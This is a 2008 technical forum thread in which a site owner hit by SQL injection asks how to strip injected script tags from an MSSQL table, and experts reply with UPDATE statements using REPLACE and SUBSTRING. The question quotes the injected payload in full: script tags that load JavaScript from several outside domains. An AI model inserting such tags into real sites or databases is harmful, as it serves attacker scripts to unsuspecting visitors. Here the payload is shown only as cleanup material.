Solved

Simple SQL question - delete any occurence in a single field

Posted on 2008-06-26
14
310 Views
Last Modified: 2010-04-21
Hi, I have a MSSQL db. I have been hit with a SQL Injection attack. I have someone trying to shore it up for me, but in the meantime, how can i simply delete any occurence of this:

<script src=http://www.app52.com/b.js></script><script src=http://www.dbupdr.com/b.js></script><script src=http://www.dbupdr.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.dl251.com/b.js></script>

it is at the end of every "Description" field in my Items table.

I don't know much about SQL at all, but wondered if you can tell me how I can at least delete the code so my site will run in the meantime while he's trying to find a permanent solution to limit our vulnerability.

I wanted this developer to do it, but so far I'm not too confident in his abilities.

Thanks much.
0
Comment
Question by:Cindy0904
  • 7
  • 3
  • 2
  • +1
14 Comments
 
LVL 60

Accepted Solution

by:
chapmandew earned 100 total points
ID: 21877386
you could do this several times for each snippet above:

update tablename
set description = replace(description, '<script src=http://www.app52.com/b.js></script>', '')
0
 
LVL 19

Expert Comment

by:folderol
ID: 21877439
update tablename
set description = substring(description, 1, charindex('<script src', description)-1)
0
 

Author Comment

by:Cindy0904
ID: 21877930
thanks for the responses. folderol, I don't even know enough to understand what you mean. Can you add the exact code?

Is this right? Since my table name is Items? I'm afraid and want to make sure i don't mess it up worse.

update Items
set description = substring(description, 1, charindex('<script src', description)-1)

Thanks a lot!
0
Microsoft Certification Exam 74-409

Veeam® is happy to provide the Microsoft community with a study guide prepared by MVP and MCT, Orin Thomas. This guide will take you through each of the exam objectives, helping you to prepare for and pass the examination.

 
LVL 60

Expert Comment

by:chapmandew
ID: 21877948
looks right to me.
0
 

Author Comment

by:Cindy0904
ID: 21878011
Hmm, here's what i get when I tried it:

Server Error in '/MSSQL' Application.
--------------------------------------------------------------------------------

A potentially dangerous Request.Form value was detected from the client (sqlstmt="...harindex('<script src', descri...").
Description: Request Validation has detected a potentially dangerous client input value, and processing of the request has been aborted. This value may indicate an attempt to compromise the security of your application, such as a cross-site scripting attack. You can disable request validation by setting validateRequest=false in the Page directive or in the configuration section. However, it is strongly recommended that your application explicitly check all inputs in this case.

Exception Details: System.Web.HttpRequestValidationException: A potentially dangerous Request.Form value was detected from the client (sqlstmt="...harindex('<script src', descri...").

Source Error:

The source code that generated this unhandled exception can only be shown when compiled in debug mode. To enable this, please follow one of the below steps, then request the URL:

1. Add a "Debug=true" directive at the top of the file that generated the error. Example:

  <%@ Page Language="C#" Debug="true" %>

or:

2) Add the following section to the configuration file of your application:

<configuration>
   <system.web>
       <compilation debug="true"/>
   </system.web>
</configuration>

Note that this second technique will cause all files within a given application to be compiled in debug mode. The first technique will cause only that particular file to be compiled in debug mode.

Important: Running applications in debug mode does incur a memory/performance overhead. You should make sure that an application has debugging disabled before deploying into production scenario.  
0
 
LVL 19

Expert Comment

by:folderol
ID: 21878103
I am not familiar enough with SQL programming security to be much help, but if you are getting this message in Query Analyzer, and you suspect a lot of table damage, you might have to create a new database and write the good data to it using insert.  Then truncate or drop the old tables and copy the tables back.

This is a super conservative approach anyway, since with this way you don't need backups.  You never update the original tables until you have a working, satisfactory copy.  Your case may not require such thoroughness.

As a test, do

select substring(description, 1, charindex('<script src', description)-1) as description
from items into #tmp_items

select * from #tmp_items

See if the same error occurs.  This won't prove anything really, since someone else may have advice about how to make the update work.
0
 
LVL 19

Assisted Solution

by:folderol
folderol earned 100 total points
ID: 21878113
Sorry, typo....

select substring(description, 1, charindex('<script src', description)-1) as description
into #tmp_items
from items
select * from #tmp_items
0
 

Author Comment

by:Cindy0904
ID: 21878521
i just keep getting the same error message as above...
0
 

Author Comment

by:Cindy0904
ID: 21878695
can i pay one of you to go in and remove the code so our site would work? Until we can secure it, it may be back, but if you can then tell me the code to delete it, that would help till the permanent fix.
I'm desperate. Every minute costs money. thanks.
0
 
LVL 8

Expert Comment

by:pzozulka
ID: 21879795
What about back ups of the DB. It would definetly be a quick fix. Just re upload the latest copy of your website and the latest copy of your database.
0
 

Author Comment

by:Cindy0904
ID: 21879823
Yes, my brother unfortunately made a lot of changes before the next backup was made, so he didn't want to lose the changes. thanks.
0
 
LVL 8

Assisted Solution

by:pzozulka
pzozulka earned 50 total points
ID: 21879830
If time is of the essence and you don't see a solution in the near future, I would backup everything that I have now, and restore it to a test environment.

In the meantime, restore the latest backup. At least you will have something to work with.
0
 

Author Comment

by:Cindy0904
ID: 21881011
I never could get around that error message, but the developer finally came around and fixed it. Still don't know if it's fixed up to par to guard against future attacks, but I guess we'll backup, backup & wait and see. Thanks for all the help. :)
0
 

Author Closing Comment

by:Cindy0904
ID: 31471105
thanks guys!
0

Featured Post

Networking for the Cloud Era

Join Microsoft and Riverbed for a discussion and demonstration of enhancements to SteelConnect:
-One-click orchestration and cloud connectivity in Azure environments
-Tight integration of SD-WAN and WAN optimization capabilities
-Scalability and resiliency equal to a data center

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Suggested Solutions

Title # Comments Views Activity
Re-appearing SQL Server Agent jobs 7 30
SQL, How to do aggregation on extracting field and range band field? 2 31
TSQL XML Namespaces 7 24
Microsoft CRM 4.0 26 21
In this article I will describe the Backup & Restore method as one possible migration process and I will add the extra tasks needed for an upgrade when and where is applied so it will cover all.
In this article we will learn how to fix  “Cannot install SQL Server 2014 Service Pack 2: Unable to install windows installer msi file” error ?
This videos aims to give the viewer a basic demonstration of how a user can query current session information by using the SYS_CONTEXT function
Viewers will learn how to use the SELECT statement in SQL and will be exposed to the many uses the SELECT statement has.

820 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question